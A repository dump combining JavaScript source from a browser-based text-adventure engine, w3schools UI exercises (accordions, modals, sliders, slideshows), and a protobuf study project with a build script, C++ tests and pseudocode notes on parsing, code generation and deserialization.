== "grandparent"){ if(this.getEnv()) destination = this.getEnv().getEnv(); } else { destination = this.resolveExit(exit); } if(!mob || !destination) return false; mob.setParent(destination); return true; }; p.resolveExit = function(exit){ var destination = null; if(!exit) return null; if (exit.cid) { return this.findCogByCID(exit.cid); // return existing destination room } if(!exit.file) return null; if(exit.relative == 'child'){ // exit goes to room within this (child room) destination = this.resolveDestination(exit, this.getCog()); } else { // exit is a sibling of this cog destination = this.resolveDestination(exit, this.getEnv()); } if(!destination) return null; exit.cid = destination.getCID(); this.updateExit(exit); return destination; }; p.resolveDestination = function(exit, roomEnv){ if(!roomEnv) return null; var destination; var existing = roomEnv.findCogsOfFile(exit.file); if(existing.length > 0) destination = existing[0]; else destination = this.createCog(exit.file); if(!destination) return null; // could not create destination from file return destination; }; p.updateExit = function(exit){ var exits = this.getProp('exits'); var i = cognition.axle.findFirstIndex('name', exit.name, exits); if(i==-1) return false; // exit not found, weird error exits[i] = exit; this.setProp('exits',exits,true); return true; }; p.addExit = function(options){ // {name, file || cid, x, y, z, dirOut} var exits = this.getProp('exits',true); exits.push(options); this.setProp('exits',exits,true); }; p.hasExitCID = function(cid){ var exits = this.getProp('exits'); return axle.bool(axle.findFirst('cid', cid, exits)); }; p.listExits = function(){ return this.getProp('exits'); }; p.getExitByName = function(name){ var exits = this.getProp('exits'); return axle.findFirst('name', name, exits); }; //TODO: expects calling player to keep out of list - could push back list and remove play in look.js p.look = function(_player){ var desc = this.getProp('long_desc'); desc += '\n'; var exits = this.doMethod('listExits'); var names = []; for(var i = 0; i < exits.length; i++){ names.push(exits[i].name); } desc += "["; desc += names.join(','); desc += "]\n"; for(var j = 0; j < this._cog._children.length; j++){ var c = this._cog._children[j]; if(!c.isMe(_player)) desc += c.getProp('short_desc') + '\n'; } return desc; }; module.exports = Class;<file_sep>/src/nova/world/_room3.js var c = {}; c.isPlayer = false; c.isMachine = true; c.isMaster = true; c.behaviors = [ { file:"astra/core/item", props:{ short_desc: 'The third room.', long_desc: 'A high place full of room.' } }, { file:"./astra/core/room", props:{ exits: [ {name: 'down', file: 'astra/world/_room2'} ] } } ]; module.exports = c; <file_sep>/src/astra/core/senseEnvItems.js var cognition = require("cognition"); var Class = cognition.Behavior.subClass(); var p = Class.prototype; p.create = function(){ this.setName('sense_env_items_behavior'); this.setKind('sense'); }; p.init = function(){ var events = cognition.events; this.onCogEvent(events.PLAYER_CONNECTED, this.refresh); this.onEnvEvent(events.CHILD_ADDED, this.add); this.onEnvEvent(events.CHILD_REMOVED, this.remove); this.onEnvEvent(events.CHILD_MODIFIED, this.update); this.onParentChanged(this.refresh); }; var viewName = 'env_items'; p.toData = function(cog){ return { cid: cog.getCID(), short_desc: cog.getProp('short_desc'), is_player: cog._isPlayer }; }; p.add = function(cog){ if(this.getPlayer().isMe(cog)) return; this.sendPlayer(cognition.view.createAdd(viewName, toData(cog))); }; p.remove = function(cog){ if(this.getPlayer().isMe(cog)) return; this.sendPlayer(cognition.view.createRemove(viewName, this.toData(cog))); }; p.update = function(cog){ if(this.getPlayer().isMe(cog)) return; this.sendPlayer(cognition.view.createUpdate(viewName, this.toData(cog))); }; p.refresh = function(){ var data = []; var env = this.getEnv(); if(env){ for(var i = 0; i < env._children.length; i++){ var c = env._children[i]; if(this.getPlayer().isMe(c)) continue; data.push(this.toData(c)); } } this.sendPlayer(cognition.view.createRefresh(viewName, data)); }; module.exports = Class;<file_sep>/client/app/render/basic/index.js /** * User: halmayne * Date: 7/27/13 * Time: 11:57 PM */ var view_list = Object.create(null); view_list.chat = require('./chat'); view_list.huds = require('./huds'); view_list.players = require('./players'); view_list.items = require('./items'); view_list.actionbar = require('./actionbar'); view_list.debug = require('../debug'); view_list.main = require('./mainHud'); view_list.inventory = require('./inventoryHud'); view_list.character = require('./charHud'); view_list.bj = require('./bj'); view_list.admin = require('./admin'); exports.Views = view_list; exports.setState= function (state) { for (var v in view_list) { view_list[v].setState(state); } }; exports.init = function () { for (var v in view_list) { view_list[v].init(v); } };
8f28a26c127e457cd77c8fcd2d89ba3a2cffe56a
[ "JavaScript" ]
84
JavaScript
halmayne/chumpr
890bd2e9f51e46caf9061b6c94273f1f3e584fbf
0e2b03fb3e6f55548363cab7d9ed6b4d8bed78b4
refs/heads/master
<repo_name>sethborne/w3schools<file_sep>/w3_HowTo/Progress_Bar/20171030/js/progressBar.js function moveStatus(){ let statusBar = document.getElementById("statusBar"); let width = 1; let id = setInterval(frame, 10); function frame(){ if(width >= 100){ clearInterval(id); } else { width += 1; statusBar.style.width = width + "%"; statusBar.innerHTML = width * 1 + "%" } } }<file_sep>/w3_HowTo/Progress_Bar/20171127/js/progressBar.js console.log("Here"); function updateProgress(){ var element = document.getElementById('bar'); var width = 0; var updateIncr = setInterval(incrUpdate, 100); function incrUpdate(){ if(width >= 100){ clearInterval(updateIncr); } else{ width += 1; console.log(width); element.style.width = width + "%"; if(0 < width && width <= 25){ console.log("1"); element.style.backgroundColor = "rgba(255, 0, 0, 1)"; } else if(25 < width && width <= 50){ console.log("2"); element.style.backgroundColor = "rgba(190, 85, 0, 1)"; } else if(50 < width && width <= 75){ console.log("3"); element.style.backgroundColor = "rgba(85, 190, 0, 1)"; } else if(75 < width && width <= 100) { console.log("4"); element.style.backgroundColor = "rgba(0, 255, 0, 1)"; } } } }<file_sep>/w3_HowTo/Accordion/20171030/js/accordionJavaScript.js // get accordion var accordionDiv = document.getElementsByClassName("accordion"); console.log(accordionDiv); // var i; for(let i = 0; i < accordionDiv.length; i += 1){ function closeCurrentlyActivePanels(accordionDiv){ for(let j = 0; j < accordionDiv.length; j += 1){ if(accordionDiv[j].classList.contains("active")){ accordionDiv[j].classList.remove("active"); accordionDiv[j].nextElementSibling.style.display = "none"; } } } // console.log(i); accordionDiv[i].onclick = function(){ // this function will allow only one active, open panel at a time // closeCurrentlyActivePanels(accordionDiv); this.classList.toggle("active"); var panel = this.nextElementSibling; if(panel.style.display === "block"){ panel.style.display = "none"; } else { panel.style.display = "block" } } }<file_sep>/w3_HowTo/Click_Dropdowns/20171127/js/clickDropdown.js function dropDownOnClick(){ // when this function runs - needs to change the display property on .contentDropDown to block; document.getElementById("clickDropDown").classList.toggle("show"); } // need a function to clear the window if toggle is show window.onclick = function(event){ if(!event.target.matches('.btnDropDown')){ var dropdowns = document.getElementsByClassName("contentDropDown"); console.log(dropdowns); for(var i = 0; i < dropdowns.length; i += 1){ let openDropDown = dropdowns[i]; if(openDropDown.classList.contains('show')){ openDropDown.classList.remove('show'); } } } }<file_sep>/w3_HowTo/Range_Sliders/20171130/js/rangeSliders.js // console.log("Linked"); var slider = document.getElementById("range"); var captionText = document.getElementById("captionText"); captionText.innerHTML = slider.value; slider.oninput = function(){ // console.log(this.value); captionText.innerHTML = this.value; }<file_sep>/w3_HowTo/Modals/Modal_Images/20171128/js/modalImages.js // console.log("Linked"); var imageThumb = document.getElementById("image"); var modalContainer = document.getElementById("modalContainer"); var spanClose = document.getElementsByClassName("close")[0]; console.log(spanClose); // click image and make modal come up imageThumb.onclick = function(){ modalContainer.style.display = "block"; } // click on close turn module off spanClose.onclick = function(){ modalContainer.style.display = "none"; } // close if click on modalCOntainer window.onclick = function(event){ if(event.target == modalContainer){ modalContainer.style.display = "none"; } }<file_sep>/w3_HowTo/Modals/Modal_Box/20171128/js/modalBox.js // console.log("Linked") // get global var modalContainer = document.getElementById("modalContainer"); // button to open modal var btnToOpenModal = document.getElementById("btnForModal") // span element later var spanElement = document.getElementsByClassName("close")[0]; console.log(spanElement); // click the button open modal btnToOpenModal.onclick = function(){ modalContainer.style.display = "block"; } // click to close the modal spanElement.onclick = function(){ modalContainer.style.display = "none"; } // user clicks outside the modal, close it window.onclick = function(event){ if(event.target == modalContainer){ modalContainer.style.display = "none"; } }<file_sep>/w3_HowTo/Slideshow_Carousel/20171114/js/20171114.js // first slide var slideIndex = 0; console.log(showSlides(slideIndex)); showSlides(slideIndex); function changeSlide(numValChange) { showSlides(slideIndex += numValChange) } function currentSlide(numValSlide){ console.log(numValSlide); slideIndex = numValSlide; showSlides(numValSlide); } function showSlides(numValIndex){ // iterator // var i; // get slides var slides = document.getElementsByClassName("slides"); console.log(slides); // this is for the dots var dot = document.getElementsByClassName("dot"); console.log(dot); // edge condition in changeSlides - if numValIndex is greater than length, start at beginning if(numValIndex >= slides.length){ slideIndex = 0; console.log("Greater Than"); } // edge condition in changeSlides - if numValIndex is Less than 1, then set slide index to length? if(numValIndex < 0){ slideIndex = slides.length - 1; console.log("Less Than"); } // toggle all slides off for(let i = 0; i < slides.length; i += 1){ slides[i].style.display = "none"; } // this should toggle the color of the dot for(let i = 0; i < dot.length; i += 1){ dot[i].className = dot[i].className.replace(" active", ""); } console.log(slides[slideIndex]); slides[slideIndex].style.display = "block"; dot[slideIndex].className += " active" }<file_sep>/w3_HowTo/Accordion/20180121/js/accordion.js // const allAccordions = document.getElementsByClassName('accAccordion'); // // loop through // for(let i = 0; i < allAccordions.length; i += 1){ // //if one is clicked // console.log(allAccordions[i]); // allAccordions[i].addEventListener('click', function(){ // // could give active // // capture acc's panel // let togglePanel = this.nextElementSibling; // // conditional panel toggle // console.log(togglePanel); // console.log(togglePanel.style.display); // if(togglePanel.style.display === "none"){ // togglePanel.style.display = "block"; // } else { // togglePanel.style.display = "none"; // } // console.log(togglePanel.style.display); // }) // } function openPanel(panelNumber){ // console.log("Open Panel"); const allAccordions = document.getElementsByClassName('accAccordion'); // console.log(allAccordions); console.log(allAccordions[panelNumber]); allAccordions[panelNumber].classList.toggle('active') let togglePanel = allAccordions[panelNumber].nextElementSibling; if(togglePanel.style.display === "block"){ togglePanel.style.display = "none"; } else { togglePanel.style.display = "block"; } }<file_sep>/w3_HowTo/LightBox/20171129/js/lightbox.js // console.log("Linked") // grab modalElement var modalContainer = document.getElementById("modalContainer"); var spanClose = document.getElementsByClassName("close")[0]; function openModal(){ modalContainer.style.display = "block"; } function closeModal(){ modalContainer.style.display = "none"; } // var slideIndex = 0; showSlides(slideIndex); function plusSlides(n){ showSlides(slideIndex += n); } function currentSlide(n){ console.log(n); showSlides(slideIndex = n); } function showSlides(n){ var slides = document.getElementsByClassName("mySlide"); var captionText = document.getElementById("caption"); var thumbs = document.getElementsByClassName("thumbnail"); // conditionals for edge cases if(n > slides.length - 1){ slideIndex = 0 }; if(n < 0) { slideIndex = slides.length - 1}; // loops for displays for(let i = 0; i < slides.length; i += 1){ slides[i].style.display = "none"; } // loop for dots for(let i = 0; i < thumbs.length; i += 1){ thumbs[i].className = thumbs[i].className.replace(' active', ""); } slides[slideIndex].style.display = "block"; thumbs[slideIndex].className += " active"; captionText.innerHTML = thumbs[slideIndex].alt; } <file_sep>/w3_HowTo/Accordion/20171114/js/20171114.js // get elements var accordion = document.getElementsByClassName("accordion"); console.log(accordion); for(let i = 0; i < accordion.length; i += 1){ accordion[i].onclick = function(){ //toggle this.classList.toggle("active"); //hiding var panel =this.nextElementSibling; // if(panel.style.display === "block"){ // panel.style.display = "none"; // } // else { // panel.style.display = "block"; // } if(panel.style.maxHeight){ panel.style.maxHeight = null; } else { panel.style.maxHeight = panel.scrollHeight + "px"; } } }<file_sep>/w3_HowTo/Accordion/20180122/js/accordion.js // capture groups const allMain = document.getElementsByClassName('accMain'); // // HTML COLLECTION for(let i = 0; i < allMain.length; i += 1){ allMain[i].addEventListener('click', function(){ // // get panel let panel = this.nextElementSibling; if(panel.style.display === "block"){ panel.style.display = "none" } else { panel.style.display = "block"; } }) } // console.log("connected");
b357e4a96e111260b4a11b4bec3431ad54fc696d
[ "JavaScript" ]
12
JavaScript
sethborne/w3schools
ebed13cfe0e4204260a94cfbbd61e8e4f81bcb74
b0c2b1e635382b99254aa48840f134054dbc9102
refs/heads/master
<file_sep>function extractIntensity(color) { return {r: (color & 0xff0000) >> 16, g:(color & 0x00ff00) >> 8, b:color & 0xff}; } console.log(extractIntensity(0xf0407f)); <file_sep>function composeColor(r, g, b) { function ensureValid(x) { if (x<0 || x>255) { console.log("intensity must be between 0 and 255"); } } ensureValid(r); ensureValid(g); ensureValid(b); var result = (r<<16) + (g<<8) + b; return result; } console.log(composeColor(43,2300,54)); <file_sep>// write a function that lowers the intensity of all channels (r,g,b) to 50%. // The function should take a colorValue (merged color) and returns a color value. function darken(color) { var r = (color & 0xff0000)>>16; var g = (color & 0x00ff00)>>8; var b = color & 0x0000ff; r = r >> 1; g = g >> 1; b = b >> 1; return (r<<16) + (g<<8) + b; } console.log(darken(0xff00ff)); // color = 0xff00ff // color2 = darkem(color) // --> color2 == 0x7f007f
23d1c57804726abedb687fa03c6bc2fe1e15be5d
[ "JavaScript" ]
3
JavaScript
ilariabiotti/Color
2c420a272a141f80bc06033c02385168516669d4
16502983d152c6c780f53fd63d1ea882f2291659
refs/heads/master
<file_sep>#! /bin/bash proto_src=./proto proto_out=./target PROTOCC="protoc --cpp_out=$proto_out" rm -rf $proto_out mkdir -p $proto_out $PROTOCC $proto_src/goods.proto $PROTOCC $proto_src/user.proto $PROTOCC $proto_src/shop_item.proto $PROTOCC $proto_src/shop.proto proto_cpp_dir='./target/proto' proto_cpp=" \ $proto_cpp_dir/goods.pb.cc \ $proto_cpp_dir/user.pb.cc \ $proto_cpp_dir/shop_item.pb.cc \ $proto_cpp_dir/shop.pb.cc " rm -f a.out if [ $# -lt 1 ]; then g++ -std=c++11 -I./target -g -O0 test.cc $proto_cpp -lpthread -lprotobuf else g++ -std=c++11 -I./target -g -O0 $@ $proto_cpp -lpthread -lprotobuf fi if [ -f a.out ]; then ./a.out fi <file_sep>Parser::LookingAt(string text) { // 检查当前token的text/type return input_.current().text == text } Parser::LookingAtType(Tokenizer::TokenType type) { return input_.current().type == type } Parser::Consume(string text) { // 检查token_text, 然后读入下一个token assert(LookingAt(text)) input_.Next() } Parser::ConsumeIdentifier():string { // 检查token_type assert(LookingAtType(Tokenizer::TYPE_IDENTIFIER)) string id = input_.current().text input_.Next() return id } // @[parser.cc:01] // 假设待解析的proto文件是 无注释 无语法错误 Parser::Parse(Tokenizer* input, FileDescriptorProto* file) { input_ = input SourceCodeInfo source_code_info source_code_info_ = &source_code_info LocationRecorder root_loc(parser=this) -- ParseSyntaxIdentifier(root_loc) file->set_syntax(syntax_identifier_) // syntax_identifier_=="proto3" -- while input_.current().type != TYPE_END ParseTopLevelStatement(file, root_loc) // @[parser.cc:01.01] -- source_code_info_.Swap(file.mutable_source_code_info) } // @[parser.cc:01.01] Parser::ParseTopLevelStatement(FileDescriptorProto* file, root_loc) { if LookingAt("message") { LocationRecorder loc(root_loc, path1=kMessageTypeFieldNumber, path2=file.message_type_size) path2: 第几个message(从0开始) ParseMessageDefinition(file.add_message_type(), loc, file) } else if LookingAt("option") LocationRecorder loc(root_loc, path1=kOptionsFieldNumber) ParseOption(file.mutable_options(), loc, file) else if LookingAt("enum") LocationRecorder loc(root_loc, path1=kEnumTypeFieldNumber, path2=file.enum_type_size) ParseEnumDefinition(file.add_enum_type(), loc, file) else if LookingAt("import") ParseImport(file.mutable_dependency(), file.mutable_public_dependency(), file.mutable_weak_dependency(), root_loc, file) else if LookingAt("service") else if LookingAt("extend") else if LookingAt("package") } Parser::ParseMessageDefinition(DescriptorProto* message, message_loc, FileDescriptorProto* file) { Consume("message") // 解析message名字 message->mutable_name() = ConsumeIdentifier() // 解析message内容 ParseMessageBlock(&) Consume("{") while !LookingAt("}") // @ref Parser::ParseMessageStatement() switch input_.current.text "message": // 递归解析message ParseMessageDefinition(message.add_nested_type(), message_loc, file) "enum": LocationRecorder loc(message_loc, path1=kEnumTypeFieldNumber, path2=message.enum_type_size) ParseEnumDefinition(message.add_enum_type(), loc, file) "extensions": "reserved": "extend": "option": //... else // optional repeated required // 在proto3里, 不用填写optional, 默认就是 LocationRecorder field_loc(message_loc, path1=kFieldFieldNumber, path2=message.field_size) ParseMessageField(message.add_field(), message->mutable_nested_type(), message_loc, kNestedTypeFieldNumber, field_loc, file) Consume("}") } Parser::ParseMessageField(FieldDescriptorProto* field, RepeatedPtrField<DescriptorProto>* messages, message_loc, kNestedTypeFieldNumber, field_loc, file) { // label LocationRecorder label_loc(field_loc, path1=kLabelFieldNumber) FieldDescriptorProto::Label label = { TryConsume("optional") => LABEL_OPTIONAL TryConsume("repeated") => LABEL_REPEATED TryConsume("required") => LABEL_REQUIRED } field.set_label(label) -- // @ref Parser::ParseMessageFieldNoLabel() MapField map_field auto type_loc(field_loc, path1=kTypeNameFieldNumber) if TryConsume("map") field.set_label(LABEL_REPEATED) Consume("<"); ParseType(&map_field.key_type, &map_field.key_type_name) Consume(","); ParseType(&map_field.value_type, &map_field.value_type_name) Consume(">") else FieldDescriptorProto::Type type; string type_name ParseType(&type, &type_name) field.set_type_name(type_name) // name auto name_loc(field_loc, path1=kNameFieldNumber) field.mutable_name() = ConsumeIdentifier() Consume("=") // field_number auto field_no_loc(field, path1=kNumberFieldNumber) field.set_number(ConsumeInteger()) // 附加项 if TryConsume("[") auto loc(field_loc, kOptionsFieldNumber) if TryConsume("default") // 默认值 ParseDefaultAssignment(field, field_loc, file) ParseFieldOptions(field, field_loc, file) Consume(";") -- if map_field.is_map_field GenerateMapEntry(map_field, field, messages) } Parser::GenerateMapEntry() { message Foo { map<string,string> boo = 1; } // wile be interpreted as: message Foo { message BooEntry { option map_entry = true; string key = 1; string value = 2; } repeated BooEntry boo = 1; } } <file_sep># ref https://developers.google.com/protocol-buffers/docs/proto https://colobu.com/2015/01/07/Protobuf-language-guide/ # protobuf的优缺点 - 优点 性能好, 兼顾空间和时间 支持前向兼容(兼容老版本的结果,proto的新字段用默认值)和后向兼容(兼容新版本的结果,proto可忽略data的新字段) - 缺点 编码后的二进制不易读 编码后的二进制不具有自描述性, 解码时必须有proto描述文件 - protobuf编码后本质上是kv_pair数组 只要key在各版本中是唯一的就能保证前后兼容 key是无意义的数字编号, 所以节省空间、不能自描述 # extend Extensions let you declare that a range of field numbers in a message are available for third-party extensions 类似于继承, 在其他proto文件里扩展已有message, 而不用修改原始proto文件 - example ~~~proto // a.proto message Aoo { extensions 100 to 199; } // b.proto extend Aoo { optional int v = 101; } ~~~ # oneof 类似union, 只有一个字段会被设置 - example ~~~proto message Aoo { oneof test_oneof { string name = 1; string reserve_name = 2; } }; // Aoo a; a.set_name("---"); CHECK(a.has_name()); a.set_reserve_name("___"); CHECK(!a.has_name()); ~~~ <file_sep>// @[message_lite.cc:01] MessageLite::ParseFromString(const string& data):bool { return ParseFrom<kParse>(data) // @[message_lite.cc:01.01] } // @[message_lite.cc:01.01] MessageLite::<T=string>ParseFrom(const T& inp):bool { // 返回是否解析成功 Clear() MergePartialFromImpl<alias=false>(inp, msg=this) // string 隐式转换成 StringPiece var raw_data = (const uint8*)inp.data io::CodedinpStream decoder(raw_data, inp.size) InlineMergePartialEntireStream(&decoder, msg) msg.MergePartialFromCodeStream(&decoder) // @[message.cc:01] } // @[message.cc:01] Message::MergePartialFromCodedStream(io::CodedinpStream* inp) { WireFormat::ParseAndMergePartial(inp, this) // @[wire_format.cc:01] } // @[wire_format.cc:01] WireFormat::ParseAndMergePartial(io::CodedinpStream* inp, Message* msg) { while true { // uint32 tag = inp.ReadTag() if tag == 0, return // tag: field_number + wire_type WireType wire_type = WireFormatLite::GetTagWireType(tag) if wire_type == WIRETYPE_END_GROUP, return int field_number = WireFormatLite::GetTagFieldNumber(tag) // Descriptor* desc = msg.GetDescriptor() FieldDescriptor* fe = desc.FindFieldByNumber(field_number) // ParseAndMergeField(tag, fe, msg, inp) // @[wire_format.cc:01.01] } } // @[wire_format.cc:01.01] WireFormat::ParseAndMergeField(uint32 tag, FieldDescriptor* fe, Message* msg, io::CodedinpStream* inp) { Reflection* refl = msg.GetReflection() if wire_type == WireTypeForFieldType(fe.type()) switch fe.type() { => FieldDescriptor::TYPE_INT32 int32_t v WireFormatLite::ReadPrimitive<int32_t,WireFormatLite::TYPE_INT32>(inp, &v) // class Reflection 定义在 message.h // SetInt32() AddInt32() 实现在 generated_message_reflection.cc 的宏 DEFINE_PRIMITIVE_ACCESSORS // Reflection::SetInt32() -> Reflection::SetField<int32_t>(), @[generated_message_reflection.cc:01] // Reflection::AddInt32() -> Reflection::AddField<int32_t>(), @[generated_message_reflection.cc:02] fe.is_repeated() ? refl.AddInt32(msg, fe, v) : refl.SetInt32(msg, fe, v) => FieldDescriptor::TYPE_INT64 ... => FieldDescriptor::TYPE_MESSAGE MessageFactory* factory = inp.GetExtensionFactory() Message* sub_msg = fe.is_repeated() ? refl.AddMessage(msg, fe, factory) : refl.MutableMessage(msg, fe, factory) WireFormatLite::ReadMessage(inp, sub_msg) } else if wire_type == WIRETYPE_LENGTH_DELIMITED && fe.is_packable() uint32_t len_limit inp.ReadVarint32(&len_limit) // 设置一个标识位, 读到这个限制点时, inp.BytesUntilLimit()返回0 io::CodedInputStream::Limit limit_point = inp.PushLimit(len_limit) // 解析方式和上面类似, 只是这里的fe都是repeated switch fe.type() { => FieldDescriptor::TYPE_INT32 while inp.BytesUntilLimit() > 0 int32_t v WireFormatLite::ReadPrimitive<int32_t,WireFormatLite::TYPE_INT32>(inp, &v) refl.AddInt32(msg, fe, v) } // 移除限制点 inp.PopLimit(limit_point) } <file_sep>1. 如何解析proto文件 parser.cc 2. 如何生成 .pb.h/.pb.cc 文件 code_gen.cc 3. protobuf有哪些特性, message的一个field有哪些方法 message.md cpp_gen.md 4. 序列化和反序列化是如何做的 encoding.md parse_from_string.cc 5. 反射机制是怎样的, 如何实现 reflection.cc <file_sep>#include <iostream> #include <fstream> #include <memory> #include <string> #include <algorithm> #include <vector> #include <list> #include <type_traits> #include <typeinfo> #include <chrono> #include <thread> #include <atomic> #include <mutex> #include <condition_variable> #include "proto/user.pb.h" #include "proto/goods.pb.h" #include "proto/shop_item.pb.h" #include "proto/shop.pb.h" using namespace std; void buildShopCart(prototest::ShopCart& shop) { prototest::User& user = *shop.mutable_user(); user.set_id(1001); user.set_name("张三"); prototest::ShopItem& item = *shop.add_shoplist(); prototest::GoodsItem& goods = *item.mutable_goods(); goods.set_id(2001); goods.set_name("apple"); goods.set_price(1.5); goods.set_kind(prototest::GoodsKind::kFood); item.set_num(3); } double calcTotalPrice(const prototest::ShopCart& shop) { double total_price = 0.; for (auto i = 0; i < shop.shoplist_size(); i++) { auto& item = shop.shoplist(i); if (item.has_goods() && item.has_num()) { total_price += item.goods().price() * item.num(); } } return total_price; } bool appendRepeated(const std::string& raw, google::protobuf::Message* msg, const std::string& repeated_field_name) { const google::protobuf::Descriptor* desc = msg->GetDescriptor(); const google::protobuf::FieldDescriptor* repeated_field = nullptr; for (auto i = 0; i < desc->field_count(); i++) { const google::protobuf::FieldDescriptor* field = desc->field(i); if (field->name() == repeated_field_name) { repeated_field = field; break; } } if (repeated_field == nullptr) { return false; } const google::protobuf::Reflection* refl = msg->GetReflection(); google::protobuf::Message* repeated_msg = refl->AddMessage(msg, repeated_field); repeated_msg->ParseFromString(raw); return true; } // #define RUN test void test() { prototest::ShopCart shop; buildShopCart(shop); cout << calcTotalPrice(shop) << endl; } // #define RUN testSerDeser void testSerDeser() { prototest::ShopCart shop; buildShopCart(shop); cout << calcTotalPrice(shop) << endl; string raw; shop.SerializeToString(&raw); prototest::ShopCart shop_rep; shop_rep.ParseFromString(raw); cout << calcTotalPrice(shop_rep) << endl; } // #define RUN testReflection void testReflection() { prototest::ShopCart shop; buildShopCart(shop); string raw; shop.shoplist(0).SerializeToString(&raw); appendRepeated(raw, &shop, "shopList"); cout << calcTotalPrice(shop) << endl; } // #define RUN testToString void testToString() { prototest::ShopCart shop; buildShopCart(shop); cout << "ShortDebugString >> \n" << shop.ShortDebugString() << endl; cout << "DebugString >>\n" << shop.DebugString() << endl; cout << "Utf8DebugString >> \n" << shop.Utf8DebugString() << endl; } int main() { std::cout << std::boolalpha; std::cout << "----------" << std::endl; #ifdef RUN RUN(); #else test(); #endif std::cout << "----------" << std::endl; } <file_sep>// 获取当前程序的运行目录的绝对路径 // #include <unistd.h> bool GetRuntimeAbsolutePath(std::string& path) { char buffer[PATH_MAX]; int len = readlink("/proc/self/exe", buffer, PATH_MAX); if (len <= 0) { return false; } path.assign(buffer, len); size_t pos = path.find_last_of("/\\"); if (pos == std::string::npos || pos == 0) { return true; } path = path.substr(0, pos); return true; } #define RCAST reinterpret_cast #define RCAST_CCH RCAST<char*> #define PROTOBUF_FIELD_OFFSET(TYPE, FIELD)\ static_cast<int>(RCAST_CCH(&RCAST<TYPE*>(16)->FIELD) - RCAST_CCH(16)) <file_sep># ref https://developers.google.com/protocol-buffers/docs/reference/cpp-generated # package package foo.bar; -- namespace foo { namespace bar {} } # message ```cpp ParseFromString(const string&):bool SerializeToString(string* out):bool DebugString():string Swap(Foo*) descriptor():Descriptor*:static ``` # RepeatedField<E> - comment E是int float等基本类型 - ref https://developers.google.com/protocol-buffers/docs/reference/cpp/google.protobuf.repeated_field#RepeatedField - api ```cpp operator[](int i):E& Get(int i):E& at(int i):E& Set(int i, E&) Mutable(int i):E* // Add(E&) Add():E* Add(Iter begin, Iter end) RemoveLast() // Reserve(int new_size) Capacity():int size():int empty():bool // begin():iterator end():iterator ``` # RepeatedPtrField<E> - comment E是Message或string repeated_field.h ```cpp class RepeatedPtrField<E> : RepeatedPtrFieldBase { } class RepeatedPtrFieldBase { class Rep { allocated_size int elements void*[1] } fields() { current_size_ int total_size_ int rep_ Rep* } Add<TypeHandler, enable_if<TypeHandler::Movable::value>::type* = nullptr>(typename TypeHandler::Type&& val) { if rep_ and current_size_ < rep_.allocated_size return reinterpret_cast<typename TypeHandler::Type*>(rep_.elements[current_size_++]) if !rep_ or rep_.allocated_size == total_size_ Reserve(new_size=total_size_+1) // 每次只增长 max(total_size_*2, new_size) ++rep_.allocated_size typename TypeHandler::Type* ret = TypeHandler::NewFromPrototype(val, arena_) rep_->elements[current_size_++] = ret return ret } MergeFrom<TypeHandler>(const RepeatedPtrFieldBase& rhs) { } } ``` # field message Aoo { optional int ioo = 1; optional string soo = 2; repeated int rioo = 3; repeated string rsoo = 4; repeated Boo rboo = 5; } ```cpp // int has_ioo():bool ioo():int set_ioo(int) // string has_soo():bool soo():const-string& set_soo(const string&) // repeated int rioo_size():int rioo(int idx):int set_rioo(int idx, int v) add_rioo(int v) rioo():RepeatedField<int>& mutable_rioo():RepeatedField<int>* // repeated string rsoo_size():int rsoo(int idx):const-string& set_rsoo(int idx, const string&)/set_rsoo(int idx, const char*) add_rsoo(const string&)/add_rsoo(const char*) add_rsoo():string* mutable_rsoo(int idx):string* // repeated message rboo_size():int rboo(int idx):const-Boo& add_rboo(Boo) add_rboo():Boo* mutable_rboo(int idx):Boo* ``` - summary optional: has_voo() voo() set_voo(v) repeated: voo_size() voo(i) set_voo(i,v) add_voo(v) add_voo():Voo* mutable_voo(i):Voo* <file_sep>// @[code_gen.cc:01] CodeGenerator::GenerateAll(vector<FileDescriptor*> files, parameter="", GeneratorContext* gen_ctx) { for auto* file : files Generate(file, "", gen_ctx) // @[code_gen.cc:01.01] Generate()是virtual, 由派生类实现 } // @[code_gen.cc:01.01] CppGenerator::Generate(FileDescriptor* file, parameter="", GeneratorContext* gen_ctx) { Options file_opt file_opt.opensource_runtime = opensource_runtime_ file_opt.runtime_include_base = runtime_include_base_ FileGenerator file_gen(file, file_opt) // @[code_gen.cc:01.01.01] -- string pb_h_name = StripProto(file.name) + ".pb.h" ZeroCopyOutputStream* out1 = new MemoryOutputStream(gen_ctx, pb_h_name, false) Printer printer1(out1, '$') // '$'字符串里的变量占位符 file_gen.GeneratePBHeader(&printer1) // @[code_gen.cc:01.01.02] -- string pb_cc_name = StripProto(file.name) + ".pb.cc" ZeroCopyOutputStream* out2 = new MemoryOutputStream(gen_ctx, pb_cc_name, false) Printer printer2(out2, '$') file_gen.GenerateSource(&printer2) // @[code_gen.cc:01.01.03] } // @[code_gen.cc:01.01.01] // cpp_file.cc FileGenerator::FileGenerator(FileDescriptor* file, Options& options) { file_ = file file_opt_ = file_opt variables_ = map<string, string> { "filename": file_.name } -- vector<Descriptor*> msgs = FlattenMessagesInFile(file) for msg, i : msgs msg_gen = new MessageGenerator(msg, variables_, i, options, &scc_analyzer_) message_generators_.emplace_back(msg_gen) } // example /* package prototest; message User { required uint64 id = 1; required string name = 2; optional int32 age = 3; } */ // @[code_gen.cc:01.01.02] // cpp_file.cc FileGenerator::GeneratePBHeader(printer) { GenerateTopHeaderGuard(printer, true); GenerateLibraryIncludes(printer); GenerateHeader(printer); GenerateBottomHeaderGuard(printer, true); } // @[code_gen.cc:01.01.03] // cpp_file.cc FileGenerator::GenerateSource(printer) { Formatter format(printer, variables_) -- // 头文件 GenerateSourceIncludes(printer) -- { NamespaceOpener ns(Namespace(file_), format) Namespace(file_) => "::" + file_.package() for _, i : message_generators_ GenerateSourceDefaultInstance(i, printer) } } -- for auto scc : sccs_ GenerateInitForSCC(scc, printer); -- GenerateReflectionInitializationCode(printer) -- ... } <file_sep>// Protocol Buffers - Google's data interchange format // Copyright 2008 Google Inc. All rights reserved. // https://developers.google.com/protocol-buffers/ // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF 